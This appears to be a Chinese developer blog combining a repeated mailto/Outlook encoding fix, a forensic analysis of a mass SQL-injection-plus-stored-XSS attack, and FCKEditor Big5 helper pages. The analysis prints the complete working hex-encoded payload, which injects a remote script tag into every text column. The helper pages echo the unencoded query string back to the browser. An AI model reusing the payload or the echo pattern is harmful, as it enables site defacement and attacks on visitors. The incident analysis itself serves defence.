如您於瀏覽器點選E-mail連結後,發生Outlook帶出之預設E-mail資訊為亂碼。可參考下方步驟調整瀏覽器之設定。
1.開啟IE瀏覽器,點選[工具]→[網際網路選項]。
2.取消勾選 [在mailto連結使用UTF-8] 設定。
此設定適用於各瀏覽器發生此問題時之問題排解,均可至IE8瀏覽器,參考上方步驟做設定,以排除此問題。
目前測試IE、Firefox、Chrome等瀏覽器,均可適用此設定。
設定資訊如上~~
如您於瀏覽器點選E-mail連結後,發生Outlook帶出之預設E-mail資訊為亂碼。可參考下方步驟調整瀏覽器之設定。
1.開啟IE瀏覽器,點選[工具]→[網際網路選項]。
2.取消勾選 [在mailto連結使用UTF-8] 設定。
此設定適用於各瀏覽器發生此問題時之問題排解,均可至IE8瀏覽器,參考上方步驟做設定,以排除此問題。
目前測試IE、Firefox、Chrome等瀏覽器,均可適用此設定。
設定資訊如上~~
今維護的網站,發生Exception錯誤訊息,Exception中QueryString部分,看起來十分奇怪。
不太對勁,分析後發現確實為被攻擊的現象。
簡單來說,攻擊手法是使用打游擊的方式到處測試網頁是否有 SQL injection 的漏洞,有的話,便將資料庫字串欄位附加上 <script>xss script</script> 的XSS攻擊指令,以便顯示在網頁時攻擊使用者電腦,是標準的 SQL Injection + Persisted XSS 攻擊。
而script部分,則利用iframe方式,讓網頁被打開時,javascript自動連結此不合法scipt中的iframe,而被連結之網址,便可透過觀測該網站的流量,與來訪紀錄,得知被攻擊成功的主機資訊,或是整體攻擊情況。
發現異常的QueryString:
OID=287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D07359734……………B2D2D%20eXeC(@s)--
以下為攻擊手法分析:
1. 將QueryString做URLDecode,轉回正常字串。
string querystr = @"287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--"; string decode = HttpUtility.UrlDecode(querystr); Console.WriteLine(decode); //Decode結果如下 //"287;dEcLaRe @s vArChAr(8000) sEt @s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D eXeC(@s)--"
2. 發現上方Decode結果是個Tsql Query,主要執行@s = 0x6445634C61526…部分,因此繼續將此binary拿至sql2005解析。
3. 於SQL2005將binary query 轉回string query,解讀攻擊資訊。
--將被送入的binary query轉回string print convert(varchar(max),0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D, 2) --轉回的正常string,發現是一段store procedure,主要目的是更新被攻擊資料庫的data dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%22dnf%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;- --其中更新內容,也轉回string,內容為<script src=hccp://xxx.xxx/ff/y.js></script>,為避免誤點,網只是亂打的! print convert(varchar(max),0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E, 2) --最後將我門資料更新的結果,Our Data<script src=hccp://xxx.xxx/ff/y.js></script>select rtrim(convert(varchar(8000),'Our Data'))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) --用以上方式,搭配sql injection , 達到XSS攻擊!
以上如被攻擊成功,被攻擊網站即已被植入不法Script,可能繼續對瀏覽網站使用者造成傷害。
FCKEditor 是個很讚的線上編輯器,這模組,可讓我們直接在線上,類似使用frontpage等工具一樣的操作,去編寫一個網頁。因此也被許多論壇所採用!如果有機會,看看FCKEditor的Source,會發現它基本上是個幾乎全部使用Javascript動態產生的環境。真的是嘆為觀止!今天要介紹的是一個在這編輯器上的客製功能。
因為我們慣用語言是中文,中文在編碼上要相當注意,不然時常會發生亂碼的問題,例如FckEditor的Link模組中,可讓我們加入MailTo功能,畫面如下:
而編輯器最後便會幫我們在網頁上,加入一個如:mailto:電子郵件地址?subject=主題&body=內文,的連結。而問題也就發生在主題與內文的部分,FCKEditor預設會幫我們把主題與內文的部分,做Javascript的Encode,Encode過得編碼為UTF-8的格式(FCKeditor預設使用encodeURIComponent方法做Encode),但這樣的連結,就必須考慮到讀取的介面是否支援了,例如outlook是否支援。經過測試,outlook 2010 以前的版本,均只支援讀取big5的編碼格式,而outlook 2010 則只支援使用unicode編碼。因此FCKEditor編輯器產生的MailTo連結,在使用outlook 2010開啟時,十分正常,但其他之前版本的outlook則全部變成亂碼。
因此有了今天這篇文章,如何在FCKEditor自訂,讓MailTo改使用Big5編碼。時做的步驟如下:
<%@ Page Language="C#" %> <% if (Request.QueryString["data"] != null) { try { string data = HttpUtility.UrlDecode(Request.QueryString["data"]); string big5encode = HttpUtility.UrlEncode(data, Encoding.GetEncoding("Big5")); Response.Write(big5encode); } catch { Response.Write(Request.QueryString["data"]); } } else { Response.Write(Request.QueryString["data"]); } %>新增第二個頁面FCKbig5decode.aspx,用於將字串做URLDecode。
<%@ Page Language="C#" %> <% if (Request.QueryString["data"] != null) { try { string data = Request.QueryString["data"]; string big5encode = HttpUtility.UrlDecode(data, Encoding.GetEncoding("Big5")); Response.Write(big5encode); } catch { Response.Write(Request.QueryString["data"]); } } else { Response.Write(Request.QueryString["data"]); } %>將以上兩個檔案,新增於路徑 fckeditor\editor\dialog\fck_link\ 下。
function Big5encodeURIComponent(str) { var xml = new ActiveXObject("MSXML2.XMLHTTP"); var data = encodeURIComponent(str); xml.open("get", "fck_link/FCKbig5encode.aspx?data=" + data, false); xml.send(); return xml.responseText; }第二段用來與Server端FCKbig5decode.aspx頁面互動,做字串的Decode
function Big5decodeURIComponent(str) { var xml = new ActiveXObject("MSXML2.XMLHTTP"); var data = encodeURIComponent(str); xml.open("get", "fck_link/FCKbig5decode.aspx?data=" + data, false); xml.send(); return xml.responseText; }
---------------------------------------------------------------------------------------------------------------------
[2010/07/22]最新訊息,上方有提到,outlook 2010已改 mailto 使用 utf-8 編碼格式。這是說法是錯誤的,說明如下:
正確來說,應該是在新版本的IE8中(不太確定是否是IE8、或更早版本、或其實在系統中亦可設定?!),加入了一個選項,截圖如下:
這個選項便影響整體OS中,所有由瀏覽器送出 mailto 連結給 outlook 時所使用的編碼方式!
參考幾篇不錯的文章:
並依得到的資訊,實際測試字串"A
文字類型 | 英文 | 數字 | 中文 | Unescaped characters | Reserved characters | Score | |||||||||||||||||||||
原始字串 | A | Z | a | z | 0 | 1 | 堃 | - | _ | . | ! | ~ | * | ' | ( | ) | ; | , | / | ? | : | @ | & | = | + | $ | # |
escape後 | A | Z | a | z | 0 | 1 | %u5803 | - | _ | . | %21 | %7E | * | %27 | %28 | %29 | %3B | %2C | / | %3F | %3A | @ | %26 | %3D | + | %24 | %23 |
encodeURI後 | A | Z | a | z | 0 | 1 | %E5%A0%83 | - | _ | . | ! | ~ | * | ' | ( | ) | ; | , | / | ? | : | @ | & | = | + | $ | # |
encodeURI Component後 | A | Z | a | z | 0 | 1 | %E5%A0%83 | - | _ | . | ! | ~ | * | ' | ( | ) | %3B | %2C | %2F | %3F | %3A | %40 | %26 | %3D | %2B | %24 | %23 |
由上方的資訊可以整理出一些結論:
所以在使用時,我認為可由兩方面去思考,判斷應使用哪一種Encode: